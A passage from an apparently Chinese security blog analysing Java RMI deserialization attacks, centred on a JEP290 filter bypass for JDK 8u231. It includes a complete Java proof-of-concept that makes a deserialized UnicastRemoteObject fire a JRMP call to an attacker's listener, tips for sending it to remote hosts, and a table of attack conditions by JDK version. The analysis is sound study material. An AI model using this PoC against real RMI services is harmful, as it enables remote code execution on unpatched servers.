不过在8u231之后,这个问题也得到了修复

因为在之前的流量分析中我们知道,实际上在bind时,我们对Server发的是一个DGC Dirty Call。我们跟进这个类
sun.rmi.transport.DGCImpl_Stub发现leaseFilter方法会对其进行过滤

一个是判断反序列化深度一个是判断反序列化类型

return 
var1 != UID.class &&
var1 != VMID.class && 
var1 != Lease.class && 

(
var1.getPackage() == null ||
!Throwable.class.isAssignableFrom(var1) ||
!"java.lang".equals(var1.getPackage().getName()) &&
!"java.rmi".equals(var1.getPackage().getName())
)&&

var1 != StackTraceElement.class &&
var1 != ArrayList.class &&
var1 != Object.class &&
!var1.getName().equals("java.util.Collections$UnmodifiableList") &&
!var1.getName().equals("java.util.Collections$UnmodifiableCollection") &&
!var1.getName().equals("java.util.Collections$UnmodifiableRandomAccessList") &&
!var1.getName().equals("java.util.Collections$EmptyList")

? Status.REJECTED : Status.ALLOWED;

导致我们构造的payload被过滤拦截

针对这个问题,An Trinh提出了一种绕过方式:在上述流程图第一步readObject的时候触发一个JRMP CALL来触发我们的JRMP Listener而不是等到之后的DGC CALL,这样就可以绕过DGC CALL回传中的反序列化过滤。

An Trinh用到的是UnicastRemoteObject,我们发现这个类自带一个readObject

跟进会发现reexport,如果我们有ssf获csf会进入exportObject这个分支,然后继续跟,调用链如下图所示:

这里的ssf是我们可控的,调用var1.createServerSocket

这里An Trinh把ssf设置为通过RemoteObjectInvocationHandler生成的动态代理类,

我们知道在如果调用通过InvocationHandler的实现类生成的代理类,那么会转而调用实现类的invoke方法。

那么就会调用到RemoteObjectInvocationHandler.invoke方法最终调用invokeRemoteMethod方法,并触发一个UnicastRef.invoke发起一个JRMP请求

之后就和我们在上文所讨论的例子一样了。完整的poc如下

public class TriggerJRMPCallByDeserialize {
    public static void main(String[] args) throws Exception{
        String registryHost = "192.168.111.1";
        int registryPort = 21099;
        String JRMPHost = "192.168.111.1";
        int JRMPPort = 16999;

        TCPEndpoint te = new TCPEndpoint(JRMPHost, JRMPPort);
        ObjID id = new ObjID(new Random().nextInt());
        UnicastRef refObject = new UnicastRef(new LiveRef(id, te, false));

        //触发关键在于RemoteObjectInvocationHandler的invoke方法
        RemoteObjectInvocationHandler myInvocationHandler = new RemoteObjectInvocationHandler(refObject);
        RMIServerSocketFactory handcraftedSSF = (RMIServerSocketFactory) Proxy.newProxyInstance(
                RMIServerSocketFactory.class.getClassLoader(),
                new Class[] { RMIServerSocketFactory.class, java.rmi.Remote.class },
                myInvocationHandler);


        Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);

        ReflectUtils.setFieldValue(remoteObject, "ssf", handcraftedSSF);

        byte[] serializeData =  ReflectUtils.WriteObjectToBytes(remoteObject);

        ReflectUtils.readObjectFromBytes(serializeData);

    }
}

本地反序列化时,可以看到成功触发,而且还是在u231比较高版本的情况下。

发包打远程的时候要注意sun.rmi.server.MarshalOutputStream会检测我们要序列化的obj,是否实现Remote/RemoteStub,由于UnicastRemoteObject实现了Remote,没有实现RemoteStub,于是会进入判断替换我们的obj,造成发包序列化异常。这里通过修改一份自己的MarshalOutputStream,去掉replaceObject来进行发包

当然oracle也注意到了这一问题,在jdk8u241,在调用UnicastRef.invoke之前,做了一个检测。

声明方法的类,必须要实现Remote接口,然而这里的RMIServerSocketFactory并没有实现,于是无法进入到invoke方法,直接抛出错误。

0x04小结

本文主要是对JAVA RMI协议流程和其相关的安全问题进行了一些整理。

JAVA实现远程方法调用基于JRMP协议。为了对远程对象进行内存管理引入了DGC协议,为了方便用户获得OjbID和远程对象监听的地址引入了公共的Registry进行管理,为了方便从加载远程类引入了codebase机制。

然而方便和安全往往存在着冲突,远程加载类会有远程任意代码执行的执行的风险,远程方法参数/异常/返回值在反序列化重建的过程也会带来安全隐患。因此在更新的版本中默认关闭了codebase,对于公共的Registry远程对象的函数参数和DGC调用结果进行了严格的反序列化过滤,而对于需要参数/返回值高度自定义化的私有远程对象隐藏了方法信息,提高了攻击难度。

下面小结一下文章提到的几种攻击方法和条件

攻击类型 适用jdk版本 需要条件
加载远程类 <7u21、6u45
加载远程类 任意 SecurityManager allow/ java.rmi.server.useCodebaseOnly=false
远程对象方法参数反序列化 <8u242 远程对象参数除int、boolean等基本类外/服务端存在反序列化链
远程对象方法参数反序列化 任意 远程对象参数除int、boolean等基本类和String类外/远程对象环境存在反序列化链
Registry方法参数反序列化 <8u121,7u13,6u141 Registry端存在反序列化链
远程对象方法结果 任意 调用端存在反序列化环境
DGC方法返回值存在反序列化 <8u121,7u13,6u141 调用端存在反序列化链
JRMI CALL 报错反序列化 任意 调用端存在反序列化链
Registry bind/rebind 触发JRMI CALL报错 <8u231 Registry存在反序列化链
Registry 方法参数反序列化触发JRMI CALL报错 <8u241 Registry存在反序列化链

参考资料

attack-rmi-registry-and-server-with-socket
https://xz.aliyun.com/t/8247

从懵逼到恍然大悟之Java中RMI的使用
https://blog.csdn.net/lmy86263/article/details/72594760

针对RMI服务的九重攻击 - 上
https://xz.aliyun.com/t/7930

针对RMI服务的九重攻击 - 下
https://xz.aliyun.com/t/7932

深入学习rmi工作原理
https://xz.aliyun.com/t/8644

remote method guesser
https://github.com/qtc-de/remote-method-guesser

RMI Bypass Jep290(Jdk8u231)反序列化漏洞分析
https://www.anquanke.com/post/id/211722#h3-6

评论

Eki

A Dreamer of Dreams

随机分类

Windows安全 文章:88 篇
安全管理 文章:7 篇
二进制安全 文章:77 篇
区块链 文章:2 篇
memcache安全 文章:1 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录